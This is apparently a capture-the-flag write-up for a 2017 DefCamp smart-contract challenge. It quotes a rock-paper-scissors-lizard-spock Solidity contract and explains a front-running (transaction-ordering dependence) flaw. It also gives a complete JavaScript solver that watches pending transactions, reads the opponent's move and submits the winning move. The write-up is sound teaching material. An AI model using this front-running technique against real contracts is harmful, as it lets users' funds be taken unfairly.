Rating:
## spock-lizard-alpha
### Description
You have to "play_the_game" and win against our bot. Are you strong enough?
The victim: https://dctf.def.camp/finals-2017-lpmjksalfka/DctfChall.sol
The API: alpha.dctf-f1nals-2017.def.camp
Transaction API: https://dctf.def.camp/finals-2017-lpmjksalfka/sample.html
*PS: I've made a cron to reset blockchain so you won't have to wait too much for minning.*
### Author:
Andrei
### Stats:
400 points / 1 solver
### Solution
Based on the challenge description, you receive two APIs with some functionalities such as:
- get_balance: returns the number of ETH a wallet holds
- new_cold_wallet: create a wallet which can be unlocked by a password
- send_money: send eth to other account
- call_contract: call a function from a smart contract
- get_flag: returns the flag if you solved the problem
- get_victim: returns a smart contract address which is supposed to be the target for the game
- play_the_game: a function that spawns a game between a victim smart contract and another player
Looking at the source code of the DctfChall.sol you can see that the smart contract is bassically a game of *rock, paper, scissor, spock, lizard*. It can be played by two players and you can choose one of the 5 options available (from 1 to 5).
The Winner player is decide based on the **getWinner()** function:
```javascript
function getWinner(uint8 option1, uint8 option2) internal returns (uint8) {
if(option1 == option2) {
return 0;
}
if(option1 == 0x1) {
if(option2 == 0x3 || option2 == 0x5) return 1;
return 2;
}
if(option1 == 0x2) {
if(option2 == 0x1 || option2 == 0x4) return 1;
return 2;
}
if(option1 == 0x3) {
if(option2 == 0x2 || option2 == 0x5) return 1;
return 2;
}
if(option1 == 0x4) {
if(option2 == 0x3 || option2 == 0x1) return 1;
return 2;
}
if(option1 == 0x5) {
if(option2 == 0x4 || option2 == 0x2) return 1;
return 2;
}
return 0;//should never get here
}
```
The goal is to make the **getFlag()** function to answer with *"this guy should receive the reward"* when is being called by the Admin Bot.
``` javascript
function getFlag()
onlyIfIsPro
public
returns (string)
{
return 'this guy should receive the reward';
}
modifier onlyIfIsPro() {
require(solvedHistory[msg.sender] >= 10 && solvedHistory[msg.sender] == triesHistory[msg.sender]);
_;
}
```
As you can see above, this is going to happen only if you win 10 times in a row but never loose a game.
##### The solution
The idea is pretty simple, we can "subscribe" to all transactions being made on the blockchain against a specific address by using the API available in the **sample.html**.
```javascript
$(document).ready(function() {
client = io.connect('http://45.76.94.172:8080');
/* receive transactions based on web3.eth.subscribe('pendingTransactions') */
client.on('transaction', function(data) {
console.log('transaction', data);
});
client.on('connect', function() {
console.log('connected');
client.emit('listen_for', mytarget);
});
});
```
Thus, we **can see** what other player/bot sent to the targetted smart contract and come up with an option that can secure each time our victory. The vulnerability is called [Transaction-Ordering Dependence (TOD) / Front Running](https://consensys.github.io/smart-contract-best-practices/known_attacks/#transaction-ordering-dependence-tod-front-running) and is bassically some sort of Race Condition by knowing what the contract would do based on code logics.
##### The solver
```html
<html>
<head>
<script src="https://cdn.socket.io/socket.io-1.4.5.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script>
var client;
var myaddress = '0xPLAYER_ADDRESS';
var mypassword = 'password for players wallet';
var mytarget = '0xVICTIM_WALLET';
var winners = [
[0,0,0,0,0,0],
[0,0,2,1,2,1],
[0,1,0,2,1,2],
[0,2,1,0,2,1],
[0,1,2,1,0,2],
[0,2,1,2,1,0]
];
//seek for a winner based on the first player's option
function getWinner(option1) {
for(var i=1;i<=5;i++) {
if(winners[option1][i] == 2) {
return i;
}
}
return option1; //shouldn't get there
}
$(document).ready(function() {
client = io.connect('http://45.76.94.172:8080');
client.on('transaction', function(data) {
console.log('transaction', data, data.from, myaddress);
if(data.from.toLowerCase() != myaddress.toLowerCase() && data.input != '0x' && data.input.indexOf('0xf94e349d') !== -1) {
var option = data.input.slice(-1);
if(1 <= option && option <= 5) {
winner_option = getWinner(option);
console.log('sending winner option for combination: ', option, winner_option);
$.post('https://alpha.dctf-f1nals-2017.def.camp/', {
function:'call_contract',
abi: '[{"constant":true,"inputs":[],"name":"totalinvested","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"solvedHistory","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"bot","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalplayers","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"minbet","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"triesHistory","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"play","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"player","type":"address"}],"name":"isPlaying","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"reset","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"option","type":"uint8"}],"name":"choose","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"getFlag","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_minbet","type":"uint256"},{"name":"_bot","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]',
address: mytarget,
from: myaddress,
password: mypassword,
func:'choose',
params:JSON.stringify([winner_option]),
value:'10000000000000',
type:'standard',
gas:'2000000',
gasPrice:0
}, function(data) {
console.log(data);
});
}
}
});
client.on('connect', function() {
console.log('connected');
client.emit('listen_for', mytarget);
});
});
</script>
</head>
<body>
</body>
</html>
```
